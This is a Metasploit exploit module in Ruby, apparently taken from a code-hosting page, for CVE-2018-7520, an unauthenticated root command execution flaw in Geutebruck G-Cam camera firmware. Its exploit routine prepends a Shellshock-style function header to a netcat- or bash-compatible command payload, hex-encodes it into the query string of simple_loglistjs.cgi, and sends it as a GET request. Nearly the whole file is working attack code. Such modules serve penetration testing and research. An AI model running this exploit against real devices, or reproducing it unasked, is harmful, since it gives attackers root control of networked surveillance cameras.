68 lines
No EOL
2.1 KiB
Ruby
Executable file
68 lines
No EOL
2.1 KiB
Ruby
Executable file
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Geutebruck simple_loglistjs.cgi Remote Command Execution',
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'Description' => %q{
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This module exploits a an arbitrary command execution vulnerability. The
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vulnerability exists in the /uapi-cgi/viewer/simple_loglistjs.cgi page and allows an
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anonymous user to execute arbitrary commands with root privileges.
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Firmware <= 1.12.0.19 are concerned.
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Tested on 5.02024 G-Cam/EFD-2250 running 1.12.0.4 firmware.
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},
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'Author' =>
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[
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'Nicolas Mattiocco', #CVE-2018-7520 (RCE)
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'Davy Douhine' #CVE-2018-7520 (RCE) and metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2018-7520' ],
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[ 'URL', 'http://geutebruck.com' ],
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[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-079-01' ]
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 1024,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic netcat bash',
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}
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' => [[ 'Automatic', { }]],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Mar 20 2018'))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to webapp', '/uapi-cgi/viewer/simple_loglistjs.cgi']),
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], self.class)
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end
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def exploit
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header = "(){ :;}; "
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encpayload = "#{header}#{payload.encoded}"
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uri = target_uri.path + "?" + Rex::Text.uri_encode(encpayload, "hex-all")
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print_status("#{rhost}:#{rport} - Attempting to exploit...")
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res = send_request_raw(
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{
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'method' => 'GET',
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'uri' => uri
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})
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end
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end |